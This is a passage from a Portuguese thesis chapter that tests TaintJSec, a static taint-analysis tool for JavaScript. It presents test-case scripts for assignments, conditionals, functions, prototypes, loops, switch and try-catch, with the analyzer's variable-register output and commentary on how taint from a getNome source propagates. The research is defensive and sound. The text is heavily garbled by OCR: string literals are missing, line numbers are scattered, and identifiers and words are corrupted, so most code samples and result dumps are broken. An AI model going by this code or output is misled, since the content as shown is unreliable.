33 atrimed_q = Variavel { valor: 20, tainted: 0}

34 temp_0_9816224709577344 = Variavel { valor: 2, tainted: 0}
35 atrimed_r = Variavel { valor: 1, tainted: 0}

36 temp_0_34492666944778017 = Variavel { valor: 2, tainted: 0}
37 atrimed_s = Variavel { valor: 1, tainted: 0}

38 temp_0_9131041201487287 = Variavel { valor: 2, tainted: 0}
39 atrimed_t = Variavel { valor: 0, tainted: 0}

40 temp_0_6144391310204822 = Variavel { valor: 2, tainted: 0}
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41 || atrimed_u = Variavel { valor: 7, tainted: 0}

42 || temp_0_03891477949971067 = Variavel { valor: 2, tainted: 0}

43 || atrimed_v = Variavel { valor: 7, tainted: 0}
[
[

44 temp_0_8063319474736268 = Variavel { valor: 2, tainted: 0}

45 atrimed_teste = Variavel { valor: { gu: Variavel { valor: 4, tainted: 0} },
tainted: 0}

46 || atrimed_ver = Variavel { valor: , tainted: 1}

A

Os resultados obtidos demonstram que o analisador conseguiu calcular corretamente
todas as operagoes de atribuicao. O taint tag foi propagado corretamente para a variavel

global atrimed__ver, como consta na linha 46 do Resultado 5.3.
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5.2.2 Condicional

As operagoes do conjunto condicional testaram a capacidade do analisador estatico para
escolher os vértices corretos da AST, de acordo com os resultados obtidos durante a
andlise. Todas as estruturas condicionais pertencentes a linguagem JavaScript foram
estadas, como por exemplo as estruturas If-Elself-FElse entre as linhas 4 e 12 e a estrutura

de condicional ternario, na linha 39.

1 |var cond_a = Math.PI;

2 |cond_b = 10;

3

4 |if( cond_a > cond_b){

5 cond_c = 5;

6 |}

7 |else if(cond_a == cond_b){

8 cond_c = 7;

9 |}

10 |else{

11 cond_c = getNome(); // tainted

12 |}

13 | //================

14 |cond_d = new Array(1,2,15,1,181,48,48,
,85,985,92,5,21,515,1,54854,3221,58,418,41,52,getNome); // tainted

15

16 |cond_d2 = [1,2,15,1,181,48,48,
,85,985,92,5,21,515,1,54854,3221,58,418,41,52,getNome]; // tainted
17
18 | function teste456(){
19 this.teste=10;

20 return 2332;

21 |}
22
23 |cond_d3 = Array(1,2,15,1,181,48,48,
,85,985,92,5,21,515,1,54854,3221,58,418,41,52,teste456); // ndo é tainted
24 |cond_e = new cond_d3[cond_d3.length-1](); // cond_e ndo serd tainted

25 |cond_e2 = cond_d2[cond_d2.length-1](); // cond_e2 sera tainted

26 |cond_f = [1,2,15,1,181,48,48,85,985,92,5,21,515,1,54854,3221,58,418,41,52];
27
28 |var cond_g = cond_f.length;
29
30 |for(var cond_i=0;cond_i<cond_f.length;cond_i++){
31 if ( cond_g < cond_f[cond_1i] ) {

32 cond_g = cond_f[cond_i];

33 }

34 |}
35 | //================
36 |cond_h = 2.1;

37 |cond_j = 2;

38
39 [var cond_k = cond_h > cond_j ? : ;
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40
41

42
43
44
45
46
47
48
49
50

var cond_arvores = new Array( , , ,
);

delete cond_arvores[3];

if(3 in cond_arvores) {
cond_tamanho_arvore = 678;

}

else{

cond_tamanho_arvore cond_arvores.length;

I0)

Os resultados obtidos da analise, de acordo com as estruturas de objetos

apresentadas no Resultado 5.4, foram satisfatorios. A propagacdo ocorreu corretamente

na variavel cond__c, como consta na linha 28. A variavel cond__k, embora nao seja um

taint data, também recebeu o valor correto em uma estrutura de condicional ternario,

como mostra a linha 20.

Resultado 5.4. Resultado do teste de condicional

© 0 N O U s W N

[ I e T T - T = S =
= O © 0 N O U ok W N = O

22
23
24
25
26
27
28

|| Nivel: O
|| Nome: raiz
| | Registradores Locais:
|| cond_a = Variavel { valor: 3.141592653589793, tainted: 0}
|| teste456 = Variavel {
valor:
{ estrutura:
{ range: [Object],

type: '
id: [Object],
params: [1],

defaults: [],
body: [Object],
generator: false,
expression: false } },
tainted: 0}
cond_g = Variavel { valor: 54854, tainted: 0}
cond_i = Variavel { valor: 20, tainted: 0}
cond_k = Variavel { valor: , tainted: 0}
cond_arvores = Variavel { valor: [ , ,
1, tainted: 0}

|| Nome: Variaveis Globais

| | Registradores Globais:

|| cond_b = Variavel { valor: 10, tainted: 0}

|| cond_c = Variavel { valor: , tainted: 1}
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29
30

31
32
33

34
35
36

37
38
39

|| cond_d = Variavel { valor: [ 1,2,15,1,181,48,48, ,85,985,92,5,21,515,
1,54854,3221,58,418,41,52,[Function: getNome]
1,
tainted: 1}
|| cond_d2 = Variavel { valor: [ 1,2,15,1,181,48,48, ,85,985,92,5,21,515,
1,54854,3221,58,418,41,52,[Function: getNome]
1
tainted: 1}
|| cond_d3 = Variavel { valor: [ 1,2,15,1,181,48,48, ,85,985,92,5,21,515,
1,54854,3221,58,418,41,52,{estrutura: [Object
1} 1,
tainted: 0}

| | cond_e = Variavel { valor: teste456 {
teste: Variavel { valor: 10, tainted: 0} },
tainted: 0}
| | cond_e2 = Variavel { valor: , tainted: 1}
|| cond_f = Variavel { valor: [ 1,2,15,1,181,48,48,85,985,92,5,21,515,1,54854,
3221,58,418,41,52 ], tainted: 0}
| | cond_h = Variavel { valor: 2.1, tainted: 0}
|| cond_j = Variavel { valor: 2, tainted: 0}
[

cond_tamanho_arvore = Variavel { valor: 5, tainted: 0}
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5.2.3 Funcao

O casos de teste para validar operacoes em fungoes, dividem-se em testes com funcgao
nao-nativas e funcoes nativas. Os testes com func¢des ndo-nativas testaram a estrutura
de armazenamento das funcoes, a separacao dos escopos e a analise nas diferentes formas
de declaragao de fun¢do que a linguagem possui, tais como fung¢oes anénimas (linha 1),

auto-executaveis (linha 11), criadas em tempo de execucao (linhas 19 e 21) e fungao de

seta (linha 40).

5.2.3.1 Funcao Nao-Nativa

© 0 N O Ot s W N =
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22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

fnc_abc = function fnc_teste(x,y){
return (x+10)/y;

function fnc_teste 1(x){
return (x+10)/2;
fnc_x = fnc_abc;
(function(g){
global = g;
})(45);

fnc_aa = getNome() + ; // tainted

b = [1,2,fnc_aal;

fnc_teste_2 = new Function( , ),
eval( +b[1]+

+fnc_aa+ +fnc_aa+ ); // tainted na fungdo inteira
fnc_fnceval_string = fnc_fnceval + ; // tainted

fnc_guther = new fnc_fnceval(3);
fnc_guther_3 = fnc_fnceval(); // tainted
fnc_teste = fnc_teste_1(10) + + fnc_teste_2(2); // tainted

function fnc_teste_2(a,b,c){
fnc_param = c(); // ndo é tainted, mas é source tainted
abc = fnc_param; // ndo é tainted, mas é source tainted
m = abc(); // tainted
return a + b;
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37
38 |fnc_resultl = fnc_teste_2(1,3,function aabc(){ return getNome; }); //
fnc_resultl sera 4

39
40 |f=n=>n?f(n-1)*n:1 // exemplo de funcdo fatorial
41 |fnc_factorial_arrow = f(5); // 120

78

O Resultado 5.5 apresenta as estruturas geradas apds a analise dos casos de teste

de fun¢ao nao-nativas.

O registrador da fungao fnc_ fnceval apresenta taint tag positivo, como mostra a

linha 28 dos resultados. Isso se deve a propagacao do taint tag da variavel fnc__aa (linha

21 do teste) que foi concatenada ao argumento da funcao eval. O taint tag resultante da

operagao de concatenagdo com a fungdo fnc_ fnceval (linha 23 do teste) foi propagado

para a variavel fnc__fnceval__string como mostra a linha 73 dos resultados. O resultado

obtido com o conjunto de funcao nao-nativa foi satisfatorio.

Resultado 5.5. Teste de funcdo nao-nativa

2 || Nivel: 0O

3 || Nome: raiz

4 || Registradores Locais:

5 || fnc_teste_1 = Variavel {
6 valor:

7 { estrutura:

8 { range: [Object],

9 type: ,
10 id: [Object],

11 params: [Object],

12 defaults: [],

13 body: [Object],

14 generator: false,

15 expression: false } },
16 tainted: 0}

17 || fnc_fnceval = Variavel {
18 valor:

19 { estrutura:

20 { range: [Object],

21 type: ,
22 id: [Object],

23 params: [Object],

24 defaults: [],

25 body: [Object],

26 generator: false,

27 expression: false } },
28 tainted: 1}

29 || fnc_teste_2 = Variavel {
30 valor:

31 { estrutura:
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32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

75
76
7
78
79
80

{

tainte

Nome:

Regis

fnc
valor:
{ est
{

tainte

range: [Object],

type: ;
id: [Object],

params: [Object],

defaults: [],

body: [Object],

generator: false,
expression: false } },

d: 0}

Variaveis Globais
tradores Globais:

_abc = Variavel {

rutura:

range: [Object],

type: /
id: [Object],

params: [Object],

defaults: [],

body: [Object],

generator: false,
expression: false } },

d: 0}

|| fnc_x = Variavel {

valor:
{ est
{

tainted: 0}
|| global = Variavel { valor: 45, tainted:
|| fnc_aa = Variavel { valor:
|| b = Variavel { valor: [ 1, 2,
|| fnc_fnceval_string = Variavel {
valor:
tainted: 1}
| | fnc_guther = Variavel {
valor:
fnc_fnceval {
xxx: Variavel { valor: , tainted: 0},
nome:

rutura:

range: [Object],

type: /
id: [Object],

params: [Object],

defaults: [],

body: [Object],

generator: false,
expression: false } },

0}
, tainted: 1}
1, tainted:

1}

79
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81 Variavel { valor: , tainted: 1} },
82 tainted: O,
83 varobj: [ a: Variavel { valor: 3, tainted: 0} ] }

84 || xxx = Variavel { valor: , tainted: 0}

85 || nome = Variavel { valor: , tainted: 1}
86 || fnc_guther_3 = Variavel { valor: , tainted: 1}
87 || fnc_teste = Variavel { valor: , tainted: 1}
88 || fnc_param = Variavel { valor: [Function: getNome], tainted: 0}
89 || abc = Variavel { valor: [Function: getNome], tainted: 0}

92 || m = Variavel { valor: , tainted: 1}

91 || fnc_result1 = Variavel { valor: 4, tainted: 0}

92 || f = Variavel {

93 valor:

94 { estrutura:

95 { range: [Object],

96 type: ,

97 id: [Object],

98 params: [Object],

99 defaults: [],

100 body: [Object],

101 generator: false,

102 expression: true } },

103 tainted: 0}

104 || fnc_factorial_arrow = Variavel { valor: 120, tainted: 0}

105 ======mmmmmmmmm oo

5.2.3.2 Funcao Nativa

Os casos de teste de fungao nativa verificam a capacidade do TaintJSec em computador
as fungoes existentes por padrao na linguagem JavaScript. Para avaliar a propagacao do

taint tag a funcao getNome foi inserida na linha 19.

1 |fncnat_a = Math.pow(3,3);

2

3 |fncnat_b = parseInt( ,10);

4

5 | fncnat_c = parselInt( + getNome(),10); // tainted
6

7 |fncnat_d = parseFloat( );

8

9 |fncnat_e = typeof ;

10

11 |fncnat_f = typeof({});

12

13 | fncnat_g = Boolean(1==2);

14

15 |var fncnat_h = Array.prototype.slice.call([2,3]);
16

17 |eval( )§
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18

19 |var op = new getNome(); // tainted

20

21 |d = (((( +op.constructor.name+ ))).split( ).
join( ).split( ).join( ).replace(/\|/g, ) + ).trim().
substring(10,17); // tainted

22

23 |f = eval( ); // tainted

O Resultado 5.6 apresenta o resultado da analise do Taint.JSec, onde é possivel notar
que os valores obtidos do calculo das fungoes nativas estao corretos, como por exemplo o
calculo exponencial da linha 1 do teste, onde a func¢ao nativa Math.pow calculou o cubo
de 3 e atribuiu o resultado ao registrador da varidvel global fncnat__a. A varidvel local
op, na linha 19 do teste, fez um acesso ao taint source getNome e por isso foi marcada
com o taint tag, como mostra a linha 6 da saida do analisador. A variavel op foi utilizada
na linha 21 do teste e, por isso, propagou o taint tag para a variavel d. Essa por sua
vez, propagou o taint tag para a variavel f, por meio de execuccao da funcao eval. Essas
variaveis foram marcadas com taint tag positivo, como é possivel ver nas linhas 21 e 22

do resultado da analise.

Resultado 5.6. Resultado do teste de funcao nativa

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || fncnat_h = Variavel { valor: [ 2, 3 ], tainted: 0}
6 || op = Variavel { valor: getNome {}, tainted: 1}

7 _______________________

8 e e e e e e

9 _______________________

10 || Nome: Variaveis Globais

11 || Registradores Globais:

12 || fncnat_a = Variavel { valor: 27, tainted: 0}

13 || fncnat_b = Variavel { valor: 2, tainted: 0}

14 || fncnat_c = Variavel { valor: 3, tainted: 1}

15 || fncnat_d = Variavel { valor: 2.5, tainted: 0}

16 || fncnat_e = Variavel { valor: , tainted: 0}
17 || fncnat_f = Variavel { valor: , tainted: 0}
18 || fncnat_g = Variavel { valor: false, tainted: 0}

19 || fncnat_i = Variavel { valor: 12346, tainted: 0}

20 || fncnat_j = Variavel { valor: 12345, tainted: 0}

21 || d = Variavel { valor: , tainted: 1}

22 || f = Variavel { valor: [Function: getNome], tainted: 1}
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5.2.4 Prototype

Os casos de teste do conjunto prototype testaram a capacidade do analisador em propagar
a insercao de novos atributos por meio do protétipo do objeto.

A funcao prot__person2, por exemplo, é declarada na linha 55 e possui somente
um atributo denominado firstName. Logo em seguida, essa fungao é instanciada por duas
variaveis, prot__m na linha 59 e prot__n na linha 60. Até esse momento do fluxo de
execucao, as variaveis prot__m e prot__n possuem somente o atributo firstName. Mas na
linha 62 ocorre uma operacao de inser¢cao do atributo lastName no prototipo da funcao
prot__person2 que deve ser propagado para todas as suas instancias. Logo, o novo

atributo deve ser propagado para as duas variaveis.

1 |x =1;

2 | function prot_teste(){

3 this.nome = ;

4 var ter1l = x;

5 this.fnc = function prot_teste2(){

6 this.nome = +terl;

7 var ter2 = ++teril;

8 this.fnc = function prot_teste3(){

9 this.nome = ;

10 }

11 return +ter1;

12 }

13 return 56;

14 |}

15

16 |var prot_a = new prot_teste(); // Object { nome: "guther", fnc: prot_teste2() }

17

18 |prot_al = prot_a.fnc(); // tested45_2 ... agora prot_a passou a ser Object {
nome: "guther2_1", fnc: prot_teste3() }

19

20 |teste = prot_a.nome; // guther2_1

21

22 |prot_b = prot_a.fnc.toString().length;

23

24 |prot_c = new prot_a.fnc(); // Object { nome: "guther3" }

25

26 |prot_d = prot_c.nome; // guther3

27

28 |prot_e = prot_a.constructor.toString(); // mostra a fungdo prot_teste em string

29

30 |var prot_f = prot_a.fnc;

31

32 |prot_g = prot_a.constructor.name; // prot_teste

33

34 |prot_h = new prot_f();

35
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36 |prot_i =
37
38 |prot_j =
¢do prot_teste3 em string
39
40
41 | function prot_person(first,last) {
42 this.prot_firstName = first;
43 this.prot_lastName = last;
44 prot_gr = first + + last;
45 return 85;
46 |}
47
48 |prot_arg = 456;
49

50 |prot_k = new prot_person(
51

52 |prot_l = prot_person( ,prot_arg);
53

54

55 | function prot_person2() {

56 this.firstName = ;

57 |}

58

59 |prot_m = new prot_person2();

60 |prot_n = new prot_person2();
61
62 |prot_person2.prototype.lastName =
63

).reverse().join(""); //

64 |prot_o = prot_m.firstName + prot_n.lastName; // "r e h t u g"
65

66 |prot_p = prot_o.replace(/ +/g,"").split(
67

68 |var prot_answer = 6 * 7;

69

70 | function prot_fnc1(){

71 var abc = 10;

72 this.nome = prot_answer;

73 this.nome2 = 15;

74 |}

75

76 | function prot_fnc2(){
77 var abc = 10;

78 this.nome = prot_answer;

79 |}

80

81 |var prot_al = new prot_fnc1();

82
83 |prot_fnc1.prototype.numero = 778;
84

prot_f.toString(); // mostra a funcdo prot_teste3 em string

"guther"

83

prot_a.fnc.toString().toString().toString().toString(); // mostra a fun
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85 |var prot_numero = prot_al.numero; // 778

86
87 |prot_comparacaol = prot_fnc2 == prot_al.constructor; // false
88
89 |prot_comparacao2 = prot_fnc1l == prot_al.constructor; // true
90

91 |prot_trecho_interno_fnc = prot_al.constructor.toString().toString(); // funcéao
prot_fncl em string

92

93 |prot_b1 = [1,2,3,4,5];

94

95 |prot_b2 = prot_b1.toString().trim().toString().substring(0,7).split( ).reverse
().join( ), // '4-3-2-1"

96

97 |prot_c1 = getNome().toString() + ; // tainted

98

99 |prot_vlength = prot_trecho_interno_fnc.split( )[1]1.1length;

Resultado 5.7. Resultado do teste de prototype

—_

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || prot_teste = Variavel {

6 valor:

7 { estrutura:

8 { range: [Object],

9 type: ,

10 id: [Object],

11 params: [],

12 defaults: [],

13 body: [Object],

14 generator: false,

15 expression: false } },

16 tainted: 0}

17 || prot_a = Variavel {

18 valor:

19 prot_teste {

20 nome: Variavel { valor: , tainted: 0, varobj: [Object] },
21 fnc: Variavel { valor: [Object], tainted: 0, varobj: [Object] } },

22 tainted: O,
23 varobj: [ terl1: Variavel { valor: 2, tainted: 0} ] }

24 || prot_f = Variavel {

25 valor:

26 { estrutura:

27 { range: [Object],

28 type: ,
29 id: [Object],

30 params: [],

31 defaults: [],
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32 body: [Object],
33 generator: false,
34 expression: false } },

35 tainted: O,
36 varobj: [ ter1: Variavel { valor: 2, tainted: 0} ] }

37 || temp_0_6664122824145129 = Variavel {
38 valor:

39 tainted: 0}

40 || prot_person = Variavel {

41 valor:

42 { estrutura:

43 { range: [Object],

44 type: )

45 id: [Object],

46 params: [Object],

47 defaults: [],

48 body: [Object],

49 generator: false,

50 expression: false } },

51 tainted: 0}

52 || prot_person2 = Variavel {

53 valor:

54 { estrutura:

55 { range: [Object],

56 type: ,

57 id: [Object],

58 params: [],

59 defaults: [],

60 body: [Object],

61 generator: false,

62 expression: false } },

63 tainted: 0}

64 || temp_0_9454113479327422 = Variavel { valor: , tainted:
65 || temp_0_9275837368313093 = Variavel {
66 valor: [ , , , s , 1,

67 tainted: 0}

68 || prot_answer = Variavel { valor: 42, tainted: 0}
69 || prot_fncl = Variavel {

70 valor:

71 { estrutura:

72 { range: [Object],

73 type: ,
74 id: [Object],

75 params: [1],

76 defaults: [],

7 body: [Object],

78 generator: false,

79 expression: false } },

80 tainted: 0}
81 || prot_fnc2 = Variavel {
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82 valor:

83 { estrutura:

84 { range: [Object],

85 type: ,

86 id: [Object],

87 params: [],

88 defaults: [],

89 body: [Object],

90 generator: false,

91 expression: false } },

92 tainted: 0}

93 || prot_al = Variavel {

94 valor:

95 prot_fncl {

96 nome: Variavel { valor: 42, tainted: 0},
97 nome2: Variavel { valor: 15, tainted: 0} },

98 tainted: O,
99 varobj: [ abc: Variavel { valor: 10, tainted: 0} ] }

100 || prot_numero = Variavel { valor: 778, tainted: O,

101 varobj: [ abc: Variavel { valor: 10, tainted: 0} ] }

102 || temp_0_8462935304505241 = Variavel { valor: , tainted: 0}

103 || temp_0_39906837389926375 = Variavel { valor: , tainted: 0}

104 || temp_0_2655353333984558 = Variavel { valor: [ , s , 1,
tainted: 0}

105 ======mmmmmmmmm oo

106 ==========--mmmmm oo

107 || Nivel: 0.0

108 || Nome: prot_teste

109 || _varobj: [ ter1: Variavel { valor: 2, tainted: 0} ]

110 || _obj_container: prot_a

111 || Registradores Locais:

112 || prot_teste2 = Variavel {

113 valor:

114 { estrutura:

115 { range: [Object],

116 type: ,

117 id: [Object],

118 params: [],

119 defaults: [],

120 body: [Object],

121 generator: false,

122 expression: false } },

123 tainted: 0}

124 || ter1 = Variavel { valor: 2, tainted: 0}

125 == — e e oo

126 ======-===----ooo -

127 || Nivel: 0.1

128 || Nome: prot_teste

129 || _varobj: [ ter1: Variavel { valor: 2, tainted: 0} ]

130 || _obj_container: prot_a

86
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131 || Registradores Locais:

132 || prot_teste3 = Variavel {

133 valor:

134 { estrutura:

135 { range: [Object],

136 type: ,
137 id: [Object],

138 params: [1],

139 defaults: [],

140 body: [Object],

141 generator: false,

142 expression: false } },

143 tainted: 0}

144 === --- e

145 === - - -

146 || Nivel: 0.2

147 || Nome: prot_teste

148 || _varobj: [ ter1: Variavel { valor: 2, tainted: 0} 1]
149 || _obj_container: prot_a

150 || Registradores Locais:

151 || prot_teste3 = Variavel {

152 valor:

153 { estrutura:

154 { range: [Object],

155 type: ,
156 id: [Object],

157 params: [],

158 defaults: [],

159 body: [Object],

160 generator: false,

161 expression: false } },

162 tainted: 0}

163 —-----mmmmm - mmmmm oo

164 ===================================
165 ====mmmm oo

166 Nome: Variaveis Globais

167 Registradores Globais:

169 teste = Variavel {

170 valor: ,

171 tainted: O,

172 varobj: [ ter1: Variavel { valor: 2, tainted: 0} ] }

'l
'l

168 || x = Variavel { valor: 1, tainted: 0}
'l

173 || prot_b = Variavel { valor: 53, tainted: 0}

174 || prot_c = Variavel {

175 valor:

176 prot_teste3 {

177 nome: Variavel { valor: , tainted: 0, varobj:

178 tainted: O,
179 varobj: [ terl1: Variavel { valor: 2, tainted: 0} ] }
180 || prot_d = Variavel { valor: , tainted: O,

[Object] } },

87
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181
182
183

184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225

varobj: [ terl1: Variavel { valor: 2, tainted: 0} ] }
|| prot_e = Variavel {

valor:
tainted: 0}
|| prot_g = Variavel { valor: , tainted: 0}
| | prot_h = Variavel {
valor: prot_teste3 { nome: Variavel { valor: , tainted: 0} },
tainted: O,

varobj: [ terl1: Variavel { valor: 2, tainted: 0} ] }
|| prot_i = Variavel {

valor: ,
tainted: 0}
|| prot_j = Variavel {
valor: ,
tainted: 0}
|| prot_arg = Variavel { valor: 456, tainted: 0}
|| prot_gr = Variavel { valor: , tainted: 0}
| | prot_k = Variavel {
valor:
prot_person {
prot_firstName: Variavel { valor: , tainted: 0},
prot_lastName: Variavel { valor: , tainted: 0} },
tainted: O,
varobj:
[ first: Variavel { valor: , tainted: 0},
last: Variavel { valor: , tainted: 0} 1 }
prot_firstName = Variavel { valor: , tainted: 0}

prot_lastName = Variavel { valor: 456, tainted: 0}
prot_1l = Variavel { valor: 85, tainted: 0}
prot_m = Variavel {
valor:
prot_person2 {
firstName: Variavel { valor: , tainted: 0} },
tainted: 0}
|| prot_n = Variavel {
valor:
prot_person2 {
firstName: Variavel { valor: , tainted: 0} 1},
tainted: 0}
|| prot_o = Variavel { valor: , tainted: 0}
|| prot_p = Variavel { valor: , tainted: 0}
| | prot_comparacaol = Variavel { valor: false, tainted: 0}
[
[

prot_comparacao2 = Variavel { valor: true, tainted: 0}
prot_trecho_interno_fnc = Variavel {
valor:

88
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226 tainted: 0}

227 || prot_b1 = Variavel { valor: [ 1, 2, 3, 4, 5 ], tainted: 0}
228 || prot_b2 = Variavel { valor: , tainted: 0}

229 || prot_c1 = Variavel {

230 valor: ,

231 tainted: 1}

232 || prot_vlength = Variavel { valor: 47, tainted: 0}

233 mmmmmmmmmmmmm oo

O Resultado 5.7 apresenta a saida obtida pelo TaintJSec ao término da analise.

E possivel notar na linha 220 do resultado, que os atributos inseridos por meio do
prototype dos objetos foram propagados para as instancias, pois na linha 64 dos casos de
testes existe uma operagao de concatenacao entre o atributo firstName (existente desde a
declaragao da fungao) e o atributo lastName (inserido pelo prototype) que resulta no valor
“rehtug”.

Contudo, os atributos inseridos pelo prototype nao aparecem no relatério do
analisador estatico. Como mostra as linhas 210 e 215 dos resultados do teste, onde
as variaveis prot__m e prot__n apresentam somente o atributo firstName. Isso se deve a
uma limitacao da plataforma Node.js, que nao apresenta os atributos inseridos por meio
do prototype na fungdo console.log.

Embora essa limitacao exista, ela é meramente visual e ndo impacta nos resultados

da andlise, vindo apenas a prejudicar a leitura do relatério final gerado pelo TaintJSec.
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5.2.5 Laco de Repeticao

Os conjuntos para testar os lagos de repeticao foram organizados em casos de teste para

operacoes Do While, For, For In e While. Cada conjunto testa a corretude computacional

do analisador para percorrer os diferentes tipos de estruturas de laco contidas na AST.

5.2.5.1 Do While

Para avaliar a propagacao do taint tag, a funcao taint source getNome foi inserida na

linha 3.

1 |var repdw_valor2 = {a:1,b:2,c:3};

2

3 |var repdw_valor = [ , ,11,getNome()]; // tainted
4

5 |repdw_a = ++repdw_valor[repdw_valor2.b] + ++[+[11[+[11; // 13
6

7 |var repdw_teste = ;

8 |repdw_i = 0;

9

10 | do{

11 repdw_teste += + repdw_i;

12 repdw_i++;

13

14 if(repdw_i==10/2);

15 leak = repdw_valor[repdw_valor.length-1]; // tainted

16

17 |}

18 |while(repdw_i < 10);

Os resultados obtidos apds a andlise sao apresentados no Resultado 5.8, onde a

estrutura da varidvel repdw__valor é apresentada com o taint tag positivo (linha 9),

assim como as demais variaveis cujo valor foi atribuido apds uma operagao envolvendo o

taint data, como é o caso das varidaveis repdw__a e leak. Logo, a propagacao ocorreu

corretamente.
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corretos. A variavel leak, por exemplo, recebeu o taint tag em uma operacao dentro

Dentro do escopo do laco de repeticao, os valores obtidos nas operagoes estao

do lago de repetigao (linha 15 do teste).

Assim, o resultado do teste mostrou que o analisador consegue analisar a estrutura

Do While corretamente.

Resultado 5.8. Resultado do teste do lago de repeticio Do While

© 0 N O U W N

[ T S O S S S
e NG, BTV U VN =)

18

|| Nivel: O

|| Nome: raiz

| | Registradores Locais:

| | repdw_valor2 = Variavel { valor: { a: 1, b: 2, c: 3 }, tainted: 0}
| | repdw_valor = Variavel {

valor: [ , , 12, 1,
tainted: 1}
| | repdw_teste = Variavel { valor: , tainted: 0}

|| Nome: Variaveis Globais

|| Registradores Globais:

| | repdw_a = Variavel { valor: 13, tainted: 1}

repdw_i = Variavel { valor: 10, tainted: 0}

leak = Variavel { valor: , tainted: 1}
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5.2.5.2 For

Para avaliar a propagacao do taint tag no lago de repeticao For, a funcdo getNome foi
criada em tempo de execugdo, a partir da unido de valores literais (linha 9) que formam
o identificador da funcdo. Essas partes sdo concatenadas dentro do escopo do lago de
repeticao (linha 13) e, em seguida, o identificador da funcao getNome é criado pela fungao

eval, na linha 15, e o valor da varidavel fnc__union ¢é atualizado com o taint data.

1 |var repf_valor = ;

2

3 |for(repf_a=0; repf_a<5; repf_a++ ){

4 for(repf_i=0; repf_i<repf_a; repf_i++ ){

5 repf_valor = repf_valor + + repf_i; // _0_0_1.0_1.2 0123
6 }

[

8

9 |var fnc = [ , , , 1;

10 |var fnc_union = ;

11

12 | for(var repf_j=0; repf_j<fnc.length; repf_j++ ){
13 fnc_union += fnc[repf_jI;

14 |}

15 | fnc_union = eval(fnc_union); // tainted

Os resultados mostraram que a analise da estrutura do laco de repeticao For esta
correta, pois o valores final da variavel repf__valor estd de acordo com o esperado, como
¢é possivel observar na linha 6 do Resultado 5.9.

A estrutura da variavel fnc__union, na linha 8, contém a fungao getNome no valor

do objeto e apresenta taint tag com valor positivo, indicando que a propagacao ocorreu

corretamente.
Resultado 5.9. Resultado do teste do lago de repeticao For
1] = - -
2 || Nivel: O
3 || Nome: raiz
4 || Registradores Locais:
5 || repf_valor = Variavel { valor: , tainted: 0}
6 || fnc = Variavel { valor: [ , , , ], tainted: 0}
7 0| fnc_union = Variavel { valor: [Function: getNome], tainted: 1}
8 || repf_j = Variavel { valor: 4, tainted: 0}
Q e e e e
10 ===================================
11 mmmmmmmmmmmm oo oo
12 || Nome: Variaveis Globais
13 || Registradores Globais:
14 || repf_a = Variavel { valor: 5, tainted: 0}
15 || repf_i = Variavel { valor: 4, tainted: 0}
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5.2.5.3 For In

Para testar o analisador estatico na estrutura de laco de repeticao For In, a funcao taint
source getNome, foi inserida nas linhas 3 e 4 para verificar o resultado da concatenacao
incremental, onde cada caractere do valor retornado pela funcao getNome é concatenado

a variavel forin__teste a cada repeticao do lago.

var forin_teste = :

1

2

3 |for(var forin_i in getNome()){

4 forin_teste += (getNome())[forin_i]; // tainted
5

}

O Resultado 5.10 apresenta as estruturas de objetos geradas pelo analisador ao
término do teste de lago de repeticao For In.
Na linha 5 do Resultado 5.10 ¢é possivel observar o registrador da variavel

forin__teste com taint tag positivo, que foi propagada na linha 4 dos testes executados.

Resultado 5.10. Resultado do teste do lago de repeticao For In

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || forin_teste = Variavel { valor: , tainted: 1}
6 || forin_i = Variavel { valor: , tainted: 0}
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5.2.5.4 While

No teste realizado com o lago de repeticao While, o taint source foi inserido na linha 5.

Cada caractere do valor retornado pelo taint source é concatenado com o valor literal “

b

e, em seguida, atribuido a variavel repwh__teste.

N O Ut R W N =

var repwh_teste = :
repwh_i = 0;

while(repwh_i < getNome().length){

repwh_teste += + getNome().substring(repwh_i,repwh_i+1); // tainted
repwh_i++;

O resultados mostram que o analisador estatico foi eficaz em percorrer a AST com a

estrutura do lacgo de repeticao While. Os valores foram calculados corretamente e o taint

tag foi propagado para o registrador da variavel repwh__teste, como apresenta a linha 5
do Resultado 5.11.

Resultado 5.11. Resultado do teste do lago de repeticao While

|| Nivel: O

|| Nome: raiz

|| Registradores Locais:

|| repwh_teste = Variavel { valor: ,
tainted: 1}

|| Nome: Variaveis Globais
| | Registradores Globais:
|| repwh_i = Variavel { valor: 19, tainted: 0}
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5.2.56.5 Switch

Para avaliar o capacidade de andlise do TaintJSec em estrutura do tipo Switch, o taint

source foi inserido na linha 14.

1 |var swt_variavel = true;

2 |swt_tr = [2, 1;

3 |swt_b = swt_tr[1];

4 |var swt_tui = eval( ) + swt_b;
5

6 | switch(swt_variavel) {

7 case eval( ):

8 swt_resultado = 10;

9 break;

10 case true:

11 if(l(1==1))

12 swt_resultado = 100;
13 else

14 swt_resultado = getNome(); // tainted
15 break;

16 case swt_tui:

17 swt_resultado = 10090;
18 break;

19 default:

20 swt_resultado = 10000;
21 break;

22 |}

Os resultados obtidos demonstram que o analisador foi capaz de percorrer a estrutura
da AST corretamente. A taint tag foi propagada para a variavel swt_ resultado como

apresenta o Resultado 5.12 na linha 14.

Resultado 5.12. Resultado do teste de switch

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || swt_variavel = Variavel { valor: true, tainted: 0}

6 || swt_tui = Variavel { valor: , tainted: 0}
I

8 e e e e e e e e e e e e e e e e e

9 _______________________

10 || Nome: Variaveis Globais

11 || Registradores Globais:

12 || swt_tr = Variavel { valor: [ 2, ], tainted: 0, varobj: [] }
13 || swt_b = Variavel { valor: , tainted: 0, varobj: [] }

14 || swt_resultado = Variavel { valor: , tainted: 1}
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5.2.5.6 Try-Catch

No conjunto dos casos de teste Try-Catch, a propagacao da informacao sensivel inica
na linha 10 e ocorre novamente na linha 19. Os demais casos de teste foram realizados
para testar a capacidade do analisar em percorrer estruturas Try-Catch aninhadas, como

consta nas linhas 26 e 27.

1 |tc_codigo = 101;

2

3 |try {

4 if (tc_codigo < 10) {

5 throw ;

6 tc_tester = 88;

7 }

